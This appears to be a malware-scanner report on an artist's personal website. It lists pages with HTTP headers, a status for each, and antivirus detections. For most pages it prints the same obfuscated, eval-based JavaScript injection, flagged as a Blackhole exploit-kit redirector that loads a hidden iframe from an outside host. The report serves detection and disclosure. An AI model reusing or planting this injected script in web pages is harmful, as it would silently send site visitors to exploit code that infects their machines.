Request | Server response | Status |
http://erichpadilla.com/ | HTTP/1.1 200 OK Connection: close Date: Sun, 18 Jan 2015 07:38:15 GMT Accept-Ranges: bytes ETag: "283ed961e166ce1:1057" Server: Microsoft-IIS/5.0 Content-Length: 20773 Content-Location: http://erichpadilla.com/index.html Content-Type: text/html Last-Modified: Tue, 11 Jun 2013 20:22:23 GMT X-Powered-By: ASP.NET
| clean |
http://erichpadilla.com/index.html | 200 OK Content-Length: 20773 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/biography.html | 200 OK Content-Length: 17062 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/resume.html | 200 OK Content-Length: 44439 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/paintings.html | 200 OK Content-Length: 21135 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles.html | 200 OK Content-Length: 18074 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/events.html | 200 OK Content-Length: 16652 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/contact.html | 200 OK Content-Length: 18265 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/test404page.js | 404 Object Not Found Content-Length: 4040 Content-Type: text/html | clean |
http://erichpadilla.com/articles/bochin.htm | 200 OK Content-Length: 12707 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles.html | 200 OK Content-Length: 18074 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles/bochin.htm | 200 OK Content-Length: 12707 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles/../articles.html | 200 OK Content-Length: 18074 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles/../articles/bochin.htm | 200 OK Content-Length: 12707 Content-Type: text/html | malicious |
